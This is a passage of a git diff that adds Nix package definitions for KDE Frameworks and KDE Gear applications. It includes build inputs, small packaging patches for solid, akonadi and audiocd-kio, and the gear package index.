qtdeclarative, + sonnet, +}: +mkKdeDerivation { + pname = "qqc2-desktop-style"; + + extraBuildInputs = [qtdeclarative]; + extraPropagatedBuildInputs = [sonnet]; +} diff --git a/pkgs/kde/frameworks/solid/default.nix b/pkgs/kde/frameworks/solid/default.nix new file mode 100644 index 0000000000000..9414228480582 --- /dev/null +++ b/pkgs/kde/frameworks/solid/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + qttools, + bison, + flex, + libimobiledevice, +}: +mkKdeDerivation { + pname = "solid"; + + # Also search /run/wrappers for mount/umount + patches = [./fix-search-path.patch]; + + extraNativeBuildInputs = [qttools bison flex]; + extraBuildInputs = [libimobiledevice]; +} diff --git a/pkgs/kde/frameworks/solid/fix-search-path.patch b/pkgs/kde/frameworks/solid/fix-search-path.patch new file mode 100644 index 0000000000000..010aa1f3efccd --- /dev/null +++ b/pkgs/kde/frameworks/solid/fix-search-path.patch @@ -0,0 +1,17 @@ +diff --git a/src/solid/devices/backends/fstab/fstabhandling.cpp b/src/solid/devices/backends/fstab/fstabhandling.cpp +index ac2a628..7ee46cc 100644 +--- a/src/solid/devices/backends/fstab/fstabhandling.cpp ++++ b/src/solid/devices/backends/fstab/fstabhandling.cpp +@@ -275,7 +275,11 @@ bool Solid::Backends::Fstab::FstabHandling::callSystemCommand(const QString &com + const QObject *receiver, + std::function<void(QProcess *)> callback) + { +- static const QStringList searchPaths{QStringLiteral("/sbin"), QStringLiteral("/bin"), QStringLiteral("/usr/sbin"), QStringLiteral("/usr/bin")}; ++ static const QStringList searchPaths{QStringLiteral("/run/wrappers/bin"), ++ QStringLiteral("/sbin"), ++ QStringLiteral("/bin"), ++ QStringLiteral("/usr/sbin"), ++ QStringLiteral("/usr/bin")}; + static const QString joinedPaths = searchPaths.join(QLatin1Char(':')); + const QString exec = QStandardPaths::findExecutable(commandName, searchPaths); + if (exec.isEmpty()) { diff --git a/pkgs/kde/frameworks/sonnet/default.nix b/pkgs/kde/frameworks/sonnet/default.nix new file mode 100644 index 0000000000000..d0775de9bb18d --- /dev/null +++ b/pkgs/kde/frameworks/sonnet/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qtdeclarative, + qttools, + pkg-config, + aspell, + hunspell, +}: +mkKdeDerivation { + pname = "sonnet"; + + extraNativeBuildInputs = [qttools pkg-config]; + extraBuildInputs = [qtdeclarative aspell hunspell]; +} diff --git a/pkgs/kde/frameworks/syndication/default.nix b/pkgs/kde/frameworks/syndication/default.nix new file mode 100644 index 0000000000000..cec50a6777f79 --- /dev/null +++ b/pkgs/kde/frameworks/syndication/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "syndication"; +} diff --git a/pkgs/kde/frameworks/syntax-highlighting/default.nix b/pkgs/kde/frameworks/syntax-highlighting/default.nix new file mode 100644 index 0000000000000..4ce448e937d59 --- /dev/null +++ b/pkgs/kde/frameworks/syntax-highlighting/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtdeclarative, + qttools, + perl, +}: +mkKdeDerivation { + pname = "syntax-highlighting"; + + extraBuildInputs = [qtdeclarative]; + extraNativeBuildInputs = [qttools perl]; +} diff --git a/pkgs/kde/frameworks/threadweaver/default.nix b/pkgs/kde/frameworks/threadweaver/default.nix new file mode 100644 index 0000000000000..9da07c2af2acd --- /dev/null +++ b/pkgs/kde/frameworks/threadweaver/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "threadweaver"; +} diff --git a/pkgs/kde/gear/akonadi-calendar-tools/default.nix b/pkgs/kde/gear/akonadi-calendar-tools/default.nix new file mode 100644 index 0000000000000..bc863c0267095 --- /dev/null +++ b/pkgs/kde/gear/akonadi-calendar-tools/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "akonadi-calendar-tools"; +} diff --git a/pkgs/kde/gear/akonadi-calendar/default.nix b/pkgs/kde/gear/akonadi-calendar/default.nix new file mode 100644 index 0000000000000..ffa28766a4e1c --- /dev/null +++ b/pkgs/kde/gear/akonadi-calendar/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "akonadi-calendar"; +} diff --git a/pkgs/kde/gear/akonadi-contacts/default.nix b/pkgs/kde/gear/akonadi-contacts/default.nix new file mode 100644 index 0000000000000..b8c1c5bf92cc1 --- /dev/null +++ b/pkgs/kde/gear/akonadi-contacts/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "akonadi-contacts"; +} diff --git a/pkgs/kde/gear/akonadi-import-wizard/default.nix b/pkgs/kde/gear/akonadi-import-wizard/default.nix new file mode 100644 index 0000000000000..191944a9e90d2 --- /dev/null +++ b/pkgs/kde/gear/akonadi-import-wizard/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "akonadi-import-wizard"; +} diff --git a/pkgs/kde/gear/akonadi-mime/default.nix b/pkgs/kde/gear/akonadi-mime/default.nix new file mode 100644 index 0000000000000..8796f72201342 --- /dev/null +++ b/pkgs/kde/gear/akonadi-mime/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + shared-mime-info, +}: +mkKdeDerivation { + pname = "akonadi-mime"; + + extraNativeBuildInputs = [shared-mime-info]; +} diff --git a/pkgs/kde/gear/akonadi-notes/default.nix b/pkgs/kde/gear/akonadi-notes/default.nix new file mode 100644 index 0000000000000..a1cd161a510fc --- /dev/null +++ b/pkgs/kde/gear/akonadi-notes/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "akonadi-notes"; +} diff --git a/pkgs/kde/gear/akonadi-search/default.nix b/pkgs/kde/gear/akonadi-search/default.nix new file mode 100644 index 0000000000000..87f743f86c302 --- /dev/null +++ b/pkgs/kde/gear/akonadi-search/default.nix @@ -0,0 +1,33 @@ +{ + mkKdeDerivation, + sources, + corrosion, + xapian, + rustPlatform, + cargo, + rustc, + # provided as callPackage input to enable easier overrides through overlays + cargoHash ? "sha256-euUaB+QCwwwPjrUq+3NHt0hjDSW5gch8MwS57KmtIWI=", +}: +mkKdeDerivation rec { + pname = "akonadi-search"; + inherit (sources.${pname}) version; + + cargoRoot = "agent/rs/htmlparser"; + + cargoDeps = rustPlatform.fetchCargoTarball { + # include version in the name so we invalidate the FOD + name = "${pname}-${version}"; + src = sources.${pname}; + sourceRoot = "${pname}-${version}/${cargoRoot}"; + hash = cargoHash; + }; + + extraNativeBuildInputs = [ + rustPlatform.cargoSetupHook + cargo + rustc + ]; + + extraBuildInputs = [corrosion xapian]; +} diff --git a/pkgs/kde/gear/akonadi/default.nix b/pkgs/kde/gear/akonadi/default.nix new file mode 100644 index 0000000000000..15d1436e9cb52 --- /dev/null +++ b/pkgs/kde/gear/akonadi/default.nix @@ -0,0 +1,25 @@ +{ + lib, + mkKdeDerivation, + qttools, + accounts-qt, + kaccounts-integration, + shared-mime-info, + xz, + mariadb, +}: +mkKdeDerivation { + pname = "akonadi"; + + patches = [ + # Always regenerate MySQL config, as the store paths don't have accurate timestamps + ./ignore-mysql-config-timestamp.patch + ]; + + extraCmakeFlags = [ + "-DMYSQLD_SCRIPTS_PATH=${lib.getBin mariadb}/bin" + ]; + + extraNativeBuildInputs = [qttools shared-mime-info]; + extraBuildInputs = [kaccounts-integration accounts-qt xz mariadb]; +} diff --git a/pkgs/kde/gear/akonadi/ignore-mysql-config-timestamp.patch b/pkgs/kde/gear/akonadi/ignore-mysql-config-timestamp.patch new file mode 100644 index 0000000000000..62f1556bf687c --- /dev/null +++ b/pkgs/kde/gear/akonadi/ignore-mysql-config-timestamp.patch @@ -0,0 +1,12 @@ +--- a/src/server/storage/dbconfigmysql.cpp ++++ b/src/server/storage/dbconfigmysql.cpp +@@ -241,8 +241,7 @@ bool DbConfigMysql::startInternalServer() + bool confUpdate = false; + QFile actualFile(actualConfig); + // update conf only if either global (or local) is newer than actual +- if ((QFileInfo(globalConfig).lastModified() > QFileInfo(actualFile).lastModified()) +- || (QFileInfo(localConfig).lastModified() > QFileInfo(actualFile).lastModified())) { ++ if (true) { + QFile globalFile(globalConfig); + QFile localFile(localConfig); + if (globalFile.open(QFile::ReadOnly) && actualFile.open(QFile::WriteOnly)) { diff --git a/pkgs/kde/gear/akonadiconsole/default.nix b/pkgs/kde/gear/akonadiconsole/default.nix new file mode 100644 index 0000000000000..4820faea57059 --- /dev/null +++ b/pkgs/kde/gear/akonadiconsole/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + xapian, +}: +mkKdeDerivation { + pname = "akonadiconsole"; + + extraBuildInputs = [xapian]; +} diff --git a/pkgs/kde/gear/akregator/default.nix b/pkgs/kde/gear/akregator/default.nix new file mode 100644 index 0000000000000..4d52e4947b783 --- /dev/null +++ b/pkgs/kde/gear/akregator/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtwebengine, +}: +mkKdeDerivation { + pname = "akregator"; + + extraBuildInputs = [qtwebengine]; +} diff --git a/pkgs/kde/gear/alligator/default.nix b/pkgs/kde/gear/alligator/default.nix new file mode 100644 index 0000000000000..bf3a4fb53b9d4 --- /dev/null +++ b/pkgs/kde/gear/alligator/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "alligator"; +} diff --git a/pkgs/kde/gear/analitza/default.nix b/pkgs/kde/gear/analitza/default.nix new file mode 100644 index 0000000000000..318c0b648279e --- /dev/null +++ b/pkgs/kde/gear/analitza/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qt5compat, + qtsvg, + qttools, + qtdeclarative, + eigen, +}: +mkKdeDerivation { + pname = "analitza"; + + extraNativeBuildInputs = [qt5compat qtsvg qttools]; + extraBuildInputs = [qtdeclarative eigen]; +} diff --git a/pkgs/kde/gear/angelfish/default.nix b/pkgs/kde/gear/angelfish/default.nix new file mode 100644 index 0000000000000..133509e78b7a1 --- /dev/null +++ b/pkgs/kde/gear/angelfish/default.nix @@ -0,0 +1,32 @@ +{ + mkKdeDerivation, + sources, + qtsvg, + qtwebengine, + corrosion, + rustPlatform, + cargo, + rustc, + # provided as callPackage input to enable easier overrides through overlays + cargoHash ? "sha256-kkoLWJvPx1Hq+MQkPgTffrTFYgVlVfKdmJq5ExAW1NE=", + qcoro, +}: +mkKdeDerivation rec { + pname = "angelfish"; + inherit (sources.${pname}) version; + + cargoDeps = rustPlatform.fetchCargoTarball { + # include version in the name so we invalidate the FOD + name = "${pname}-${version}"; + src = sources.${pname}; + hash = cargoHash; + }; + + extraNativeBuildInputs = [ + rustPlatform.cargoSetupHook + cargo + rustc + ]; + + extraBuildInputs = [corrosion qtsvg qtwebengine qcoro]; +} diff --git a/pkgs/kde/gear/arianna/default.nix b/pkgs/kde/gear/arianna/default.nix new file mode 100644 index 0000000000000..d3a63bc194552 --- /dev/null +++ b/pkgs/kde/gear/arianna/default.nix @@ -0,0 +1,21 @@ +{ + mkKdeDerivation, + qthttpserver, + qtsvg, + qtwebchannel, + qtwebengine, + kitemmodels, + kquickcharts, +}: +mkKdeDerivation { + pname = "arianna"; + + extraBuildInputs = [ + qthttpserver + qtsvg + qtwebchannel + qtwebengine + kitemmodels + kquickcharts + ]; +} diff --git a/pkgs/kde/gear/ark/default.nix b/pkgs/kde/gear/ark/default.nix new file mode 100644 index 0000000000000..ae443c21cf847 --- /dev/null +++ b/pkgs/kde/gear/ark/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + libarchive, + libzip, +}: +mkKdeDerivation { + pname = "ark"; + + extraBuildInputs = [libarchive libzip]; +} diff --git a/pkgs/kde/gear/artikulate/default.nix b/pkgs/kde/gear/artikulate/default.nix new file mode 100644 index 0000000000000..c82db10260f76 --- /dev/null +++ b/pkgs/kde/gear/artikulate/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtmultimedia, +}: +mkKdeDerivation { + pname = "artikulate"; + + extraBuildInputs = [qtmultimedia]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/audiocd-kio/default.nix b/pkgs/kde/gear/audiocd-kio/default.nix new file mode 100644 index 0000000000000..c2f5c25588261 --- /dev/null +++ b/pkgs/kde/gear/audiocd-kio/default.nix @@ -0,0 +1,24 @@ +{ + lib, + mkKdeDerivation, + cdparanoia, + flac, + libogg, + libvorbis, + substituteAll, + lame, + opusTools, +}: +mkKdeDerivation { + pname = "audiocd-kio"; + + patches = [ + (substituteAll { + src = ./encoder-paths.patch; + lame = lib.getExe lame; + opusenc = "${opusTools}/bin/opusenc"; + }) + ]; + + extraBuildInputs = [cdparanoia flac libogg libvorbis]; +} diff --git a/pkgs/kde/gear/audiocd-kio/encoder-paths.patch b/pkgs/kde/gear/audiocd-kio/encoder-paths.patch new file mode 100644 index 0000000000000..c39835a8b1f30 --- /dev/null +++ b/pkgs/kde/gear/audiocd-kio/encoder-paths.patch @@ -0,0 +1,35 @@ +diff --git a/plugins/lame/encoderlame.cpp b/plugins/lame/encoderlame.cpp +index 48d1d76..2643d6a 100644 +--- a/plugins/lame/encoderlame.cpp ++++ b/plugins/lame/encoderlame.cpp +@@ -244,7 +244,7 @@ long EncoderLame::readInit(long /*size*/) + + // -r raw/pcm + // -s 44.1 (because it is raw you have to specify this) +- *(d->currentEncodeProcess) << QStringLiteral("lame") << QStringLiteral("--verbose") << QStringLiteral("-r") << QStringLiteral("-s") ++ *(d->currentEncodeProcess) << QStringLiteral("@lame@") << QStringLiteral("--verbose") << QStringLiteral("-r") << QStringLiteral("-s") + << QStringLiteral("44.1"); + *(d->currentEncodeProcess) << args; + if (Settings::self()->id3_tag()) +diff --git a/plugins/opus/encoderopus.cpp b/plugins/opus/encoderopus.cpp +index ef297fb..465bb3e 100644 +--- a/plugins/opus/encoderopus.cpp ++++ b/plugins/opus/encoderopus.cpp +@@ -82,7 +82,7 @@ QWidget *EncoderOpus::getConfigureWidget(KConfigSkeleton **manager) const + bool EncoderOpus::init() + { + // Determine if opusenc is installed on the system or not. +- if (QStandardPaths::findExecutable(QStringLiteral("opusenc")).isEmpty()) ++ if (QStandardPaths::findExecutable(QStringLiteral("@opusenc@")).isEmpty()) + return false; + + return true; +@@ -140,7 +140,7 @@ long EncoderOpus::readInit(long /*size*/) + + // --raw raw/pcm + // --raw-rate 44100 (because it is raw you have to specify this) +- *(d->currentEncodeProcess) << QStringLiteral("opusenc") << QStringLiteral("--raw") << QStringLiteral("--raw-rate") << QStringLiteral("44100"); ++ *(d->currentEncodeProcess) << QStringLiteral("@opusenc@") << QStringLiteral("--raw") << QStringLiteral("--raw-rate") << QStringLiteral("44100"); + *(d->currentEncodeProcess) << args; + *d->currentEncodeProcess << trackInfo; + diff --git a/pkgs/kde/gear/audiotube/default.nix b/pkgs/kde/gear/audiotube/default.nix new file mode 100644 index 0000000000000..60e646cd71c17 --- /dev/null +++ b/pkgs/kde/gear/audiotube/default.nix @@ -0,0 +1,53 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtmultimedia, + qtsvg, + extra-cmake-modules, + futuresql, + kcoreaddons, + kcrash, + ki18n, + kirigami-addons, + kirigami, + kwindowsystem, + purpose, + qcoro, + python3, +}: let + ps = python3.pkgs; + pythonDeps = [ + ps.yt-dlp + ps.ytmusicapi + ]; +in + mkKdeDerivation { + pname = "audiotube"; + + extraNativeBuildInputs = [ + ps.pybind11 + ]; + + extraBuildInputs = + [ + qtdeclarative + qtmultimedia + qtsvg + + extra-cmake-modules + futuresql + kirigami + kirigami-addons + kcoreaddons + ki18n + kcrash + kwindowsystem + purpose + qcoro + ] + ++ pythonDeps; + + qtWrapperArgs = [ + "--prefix PYTHONPATH : ${ps.makePythonPath pythonDeps}" + ]; + } diff --git a/pkgs/kde/gear/baloo-widgets/default.nix b/pkgs/kde/gear/baloo-widgets/default.nix new file mode 100644 index 0000000000000..ca638bef60742 --- /dev/null +++ b/pkgs/kde/gear/baloo-widgets/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "baloo-widgets"; +} diff --git a/pkgs/kde/gear/blinken/default.nix b/pkgs/kde/gear/blinken/default.nix new file mode 100644 index 0000000000000..ac5f4273ebd5f --- /dev/null +++ b/pkgs/kde/gear/blinken/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "blinken"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/bomber/default.nix b/pkgs/kde/gear/bomber/default.nix new file mode 100644 index 0000000000000..a0e2ea97428c7 --- /dev/null +++ b/pkgs/kde/gear/bomber/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + _7zz, +}: +mkKdeDerivation { + pname = "bomber"; + + extraNativeBuildInputs = [_7zz]; +} diff --git a/pkgs/kde/gear/bovo/default.nix b/pkgs/kde/gear/bovo/default.nix new file mode 100644 index 0000000000000..bc48853616ef2 --- /dev/null +++ b/pkgs/kde/gear/bovo/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "bovo"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/calendarsupport/default.nix b/pkgs/kde/gear/calendarsupport/default.nix new file mode 100644 index 0000000000000..b6632a384d65e --- /dev/null +++ b/pkgs/kde/gear/calendarsupport/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "calendarsupport"; +} diff --git a/pkgs/kde/gear/calindori/default.nix b/pkgs/kde/gear/calindori/default.nix new file mode 100644 index 0000000000000..f0b21c7986a70 --- /dev/null +++ b/pkgs/kde/gear/calindori/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtsvg, + qqc2-desktop-style, +}: +mkKdeDerivation { + pname = "calindori"; + + extraBuildInputs = [ + qtsvg + qqc2-desktop-style + ]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/cantor/default.nix b/pkgs/kde/gear/cantor/default.nix new file mode 100644 index 0000000000000..42963aabbba02 --- /dev/null +++ b/pkgs/kde/gear/cantor/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + shared-mime-info, +}: +mkKdeDerivation { + pname = "cantor"; + + extraNativeBuildInputs = [shared-mime-info]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/cervisia/default.nix b/pkgs/kde/gear/cervisia/default.nix new file mode 100644 index 0000000000000..d8546e9d8a30a --- /dev/null +++ b/pkgs/kde/gear/cervisia/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "cervisia"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/colord-kde/default.nix b/pkgs/kde/gear/colord-kde/default.nix new file mode 100644 index 0000000000000..adacf19ba9a35 --- /dev/null +++ b/pkgs/kde/gear/colord-kde/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + pkg-config, + lcms2, + xorg, +}: +mkKdeDerivation { + pname = "colord-kde"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [lcms2 xorg.libXrandr]; +} diff --git a/pkgs/kde/gear/default.nix b/pkgs/kde/gear/default.nix new file mode 100644 index 0000000000000..629711d722862 --- /dev/null +++ b/pkgs/kde/gear/default.nix @@ -0,0 +1,248 @@ +{callPackage}: { + akonadi = callPackage ./akonadi {}; + akonadi-calendar = callPackage ./akonadi-calendar {}; + akonadi-calendar-tools = callPackage ./akonadi-calendar-tools {}; + akonadiconsole = callPackage ./akonadiconsole {}; + akonadi-contacts = callPackage ./akonadi-contacts {}; + akonadi-import-wizard = callPackage ./akonadi-import-wizard {}; + akonadi-mime = callPackage ./akonadi-mime {}; + akonadi-notes = callPackage ./akonadi-notes {}; + akonadi-search = callPackage ./akonadi-search {}; + akregator = callPackage ./akregator {}; + alligator = callPackage ./alligator {}; + analitza = callPackage ./analitza {}; + angelfish = callPackage ./angelfish {}; + arianna = callPackage ./arianna {}; + ark = callPackage ./ark {}; + artikulate = callPackage ./artikulate {}; + audiocd-kio = callPackage ./audiocd-kio {}; + audiotube = callPackage ./audiotube {}; + baloo-widgets = callPackage ./baloo-widgets {}; + blinken = callPackage ./blinken {}; + bomber = callPackage ./bomber {}; + bovo = callPackage ./bovo {}; + calendarsupport = callPackage ./calendarsupport {}; + calindori = callPackage ./calindori {}; + cantor = callPackage ./cantor {}; + cervisia = callPackage ./cervisia {}; + colord-kde = callPackage ./colord-kde {}; + dolphin = callPackage ./dolphin {}; + dolphin-plugins = callPackage ./dolphin-plugins {}; + dragon = callPackage ./dragon {}; + elisa = callPackage ./elisa {}; + eventviews = callPackage ./eventviews {}; + falkon = callPackage ./falkon {}; + ffmpegthumbs = callPackage ./ffmpegthumbs {}; + filelight = callPackage ./filelight {}; + ghostwriter = callPackage ./ghostwriter {}; + granatier = callPackage ./granatier {}; + grantlee-editor = callPackage ./grantlee-editor {}; + grantleetheme = callPackage ./grantleetheme {}; + gwenview = callPackage ./gwenview {}; + incidenceeditor = callPackage ./incidenceeditor {}; + isoimagewriter = callPackage ./isoimagewriter {}; + itinerary = callPackage ./itinerary {}; + juk = callPackage ./juk {}; + k3b = callPackage ./k3b {}; + kaccounts-integration = callPackage ./kaccounts-integration {}; + kaccounts-providers = callPackage ./kaccounts-providers {}; + kaddressbook = callPackage ./kaddressbook {}; + kajongg = callPackage ./kajongg {}; + kalarm = callPackage ./kalarm {}; + kalgebra = callPackage ./kalgebra {}; + kalk = callPackage ./kalk {}; + kalzium = callPackage ./kalzium {}; + kamera = callPackage ./kamera {}; + kamoso = callPackage ./kamoso {}; + kanagram = callPackage ./kanagram {}; + kapman = callPackage ./kapman {}; + kapptemplate = callPackage ./kapptemplate {}; + kasts = callPackage ./kasts {}; + kate = callPackage ./kate {}; + katomic = callPackage ./katomic {}; + kbackup = callPackage ./kbackup {}; + kblackbox = callPackage ./kblackbox {}; + kblocks = callPackage ./kblocks {}; + kbounce = callPackage ./kbounce {}; + kbreakout = callPackage ./kbreakout {}; + kbruch = callPackage ./kbruch {}; + kcachegrind = callPackage ./kcachegrind {}; + kcalc = callPackage ./kcalc {}; + kcalutils = callPackage ./kcalutils {}; + kcharselect = callPackage ./kcharselect {}; + kclock = callPackage ./kclock {}; + kcolorchooser = callPackage ./kcolorchooser {}; + kcron = callPackage ./kcron {}; + kdebugsettings = callPackage ./kdebugsettings {}; + kdeconnect-kde = callPackage ./kdeconnect-kde {}; + kde-dev-scripts = callPackage ./kde-dev-scripts {}; + kde-dev-utils = callPackage ./kde-dev-utils {}; + kdeedu-data = callPackage ./kdeedu-data {}; + kdegraphics-mobipocket = callPackage ./kdegraphics-mobipocket {}; + kdegraphics-thumbnailers = callPackage ./kdegraphics-thumbnailers {}; + kde-inotify-survey = callPackage ./kde-inotify-survey {}; + kdenetwork-filesharing = callPackage ./kdenetwork-filesharing {}; + kdenlive = callPackage ./kdenlive {}; + kdepim-addons = callPackage ./kdepim-addons {}; + kdepim-runtime = callPackage ./kdepim-runtime {}; + kdesdk-kio = callPackage ./kdesdk-kio {}; + kdesdk-thumbnailers = callPackage ./kdesdk-thumbnailers {}; + kdevelop = callPackage ./kdevelop {}; + kdev-php = callPackage ./kdev-php {}; + kdev-python = callPackage ./kdev-python {}; + kdf = callPackage ./kdf {}; + kdialog = callPackage ./kdialog {}; + kdiamond = callPackage ./kdiamond {}; + keditbookmarks = callPackage ./keditbookmarks {}; + keysmith = callPackage ./keysmith {}; + kfind = callPackage ./kfind {}; + kfourinline = callPackage ./kfourinline {}; + kgeography = callPackage ./kgeography {}; + kget = callPackage ./kget {}; + kgoldrunner = callPackage ./kgoldrunner {}; + kgpg = callPackage ./kgpg {}; + khangman = callPackage ./khangman {}; + khealthcertificate = callPackage ./khealthcertificate {}; + khelpcenter = callPackage ./khelpcenter {}; + kidentitymanagement = callPackage ./kidentitymanagement {}; + kig = callPackage ./kig {}; + kigo = callPackage ./kigo {}; + killbots = callPackage ./killbots {}; + kimagemapeditor = callPackage ./kimagemapeditor {}; + kimap = callPackage ./kimap {}; + kio-admin = callPackage ./kio-admin {}; + kio-extras = callPackage ./kio-extras {}; + kio-extras-kf5 = callPackage ./kio-extras-kf5 {}; + kio-gdrive = callPackage ./kio-gdrive {}; + kio-zeroconf = callPackage ./kio-zeroconf {}; + kipi-plugins = callPackage ./kipi-plugins {}; + kirigami-gallery = callPackage ./kirigami-gallery {}; + kiriki = callPackage ./kiriki {}; + kiten = callPackage ./kiten {}; + kitinerary = callPackage ./kitinerary {}; + kjournald = callPackage ./kjournald {}; + kjumpingcube = callPackage ./kjumpingcube {}; + kldap = callPackage ./kldap {}; + kleopatra = callPackage ./kleopatra {}; + klettres = callPackage ./klettres {}; + klickety = callPackage ./klickety {}; + klines = callPackage ./klines {}; + kmag = callPackage ./kmag {}; + kmahjongg = callPackage ./kmahjongg {}; + kmail = callPackage ./kmail {}; + kmail-account-wizard = callPackage ./kmail-account-wizard {}; + kmailtransport = callPackage ./kmailtransport {}; + kmbox = callPackage ./kmbox {}; + kmime = callPackage ./kmime {}; + kmines = callPackage ./kmines {}; + kmix = callPackage ./kmix {}; + kmousetool = callPackage ./kmousetool {}; + kmouth = callPackage ./kmouth {}; + kmplot = callPackage ./kmplot {}; + knavalbattle = callPackage ./knavalbattle {}; + knetwalk = callPackage ./knetwalk {}; + knights = callPackage ./knights {}; + knotes = callPackage ./knotes {}; + koko = callPackage ./koko {}; + kolf = callPackage ./kolf {}; + kollision = callPackage ./kollision {}; + kolourpaint = callPackage ./kolourpaint {}; + kompare = callPackage ./kompare {}; + kongress = callPackage ./kongress {}; + konqueror = callPackage ./konqueror {}; + konquest = callPackage ./konquest {}; + konsole = callPackage ./konsole {}; + kontact = callPackage ./kontact {}; + kontactinterface = callPackage ./kontactinterface {}; + kontrast = callPackage ./kontrast {}; + konversation = callPackage ./konversation {}; + kopeninghours = callPackage ./kopeninghours {}; + korganizer = callPackage ./korganizer {}; + kosmindoormap = callPackage ./kosmindoormap {}; + kpat = callPackage ./kpat {}; + kpimtextedit = callPackage ./kpimtextedit {}; + kpkpass = callPackage ./kpkpass {}; + kpmcore = callPackage ./kpmcore {}; + kpublictransport = callPackage ./kpublictransport {}; + kqtquickcharts = callPackage ./kqtquickcharts {}; + krdc = callPackage ./krdc {}; + krecorder = callPackage ./krecorder {}; + kreversi = callPackage ./kreversi {}; + krfb = callPackage ./krfb {}; + kross-interpreters = callPackage ./kross-interpreters {}; + kruler = callPackage ./kruler {}; + ksanecore = callPackage ./ksanecore {}; + kshisen = callPackage ./kshisen {}; + ksirk = callPackage ./ksirk {}; + ksmtp = callPackage ./ksmtp {}; + ksnakeduel = callPackage ./ksnakeduel {}; + kspaceduel = callPackage ./kspaceduel {}; + ksquares = callPackage ./ksquares {}; + ksudoku = callPackage ./ksudoku {}; + ksystemlog = callPackage ./ksystemlog {}; + kteatime = callPackage ./kteatime {}; + ktimer = callPackage ./ktimer {}; + ktnef = callPackage ./ktnef {}; + ktorrent = callPackage ./ktorrent {}; + ktouch = callPackage ./ktouch {}; + ktrip = callPackage ./ktrip {}; + ktuberling = callPackage ./ktuberling {}; + kturtle = callPackage ./kturtle {}; + kubrick = callPackage ./kubrick {}; + kwalletmanager = callPackage ./kwalletmanager {}; + kwave = callPackage ./kwave {}; + kweather = callPackage ./kweather {}; + kwordquiz = callPackage ./kwordquiz {}; + libgravatar = callPackage ./libgravatar {}; + libkcddb = callPackage ./libkcddb {}; + libkcompactdisc = callPackage ./libkcompactdisc {}; + libkdcraw = callPackage ./libkdcraw {}; + libkdegames = callPackage ./libkdegames {}; + libkdepim = callPackage ./libkdepim {}; + libkeduvocdocument = callPackage ./libkeduvocdocument {}; + libkexiv2 = callPackage ./libkexiv2 {}; + libkgapi = callPackage ./libkgapi {}; + libkipi = callPackage ./libkipi {}; + libkleo = callPackage ./libkleo {}; + libkmahjongg = callPackage ./libkmahjongg {}; + libkomparediff2 = callPackage ./libkomparediff2 {}; + libksane = callPackage ./libksane {}; + libksieve = callPackage ./libksieve {}; + libktorrent = callPackage ./libktorrent {}; + lokalize = callPackage ./lokalize {}; + lskat = callPackage ./lskat {}; + mailcommon = callPackage ./mailcommon {}; + mailimporter = callPackage ./mailimporter {}; + marble = callPackage ./marble {}; + markdownpart = callPackage ./markdownpart {}; + mbox-importer = callPackage ./mbox-importer {}; + merkuro = callPackage ./merkuro {}; + messagelib = callPackage ./messagelib {}; + mimetreeparser = callPackage ./mimetreeparser {}; + minuet = callPackage ./minuet {}; + neochat = callPackage ./neochat {}; + okular = callPackage ./okular {}; + palapeli = callPackage ./palapeli {}; + parley = callPackage ./parley {}; + partitionmanager = callPackage ./partitionmanager {}; + picmi = callPackage ./picmi {}; + pimcommon = callPackage ./pimcommon {}; + pim-data-exporter = callPackage ./pim-data-exporter {}; + pim-sieve-editor = callPackage ./pim-sieve-editor {}; + plasmatube = callPackage ./plasmatube {}; + poxml = callPackage ./poxml {}; + qmlkonsole = callPackage ./qmlkonsole {}; + rocs = callPackage ./rocs {}; + signon-kwallet-extension = callPackage ./signon-kwallet-extension {}; + skanlite = callPackage ./skanlite {}; + skanpage = callPackage ./skanpage {}; + spectacle = callPackage ./spectacle {}; + step = callPackage ./step {}; + svgpart = callPackage ./svgpart {}; + sweeper = callPackage ./sweeper {}; + telly-skout = callPackage ./telly-skout {}; + tokodon = callPackage ./tokodon {}; + umbrello = callPackage ./umbrello {}; + yakuake = callPackage ./yakuake {}; + zanshin = callPackage ./zanshin {}; +} diff --git 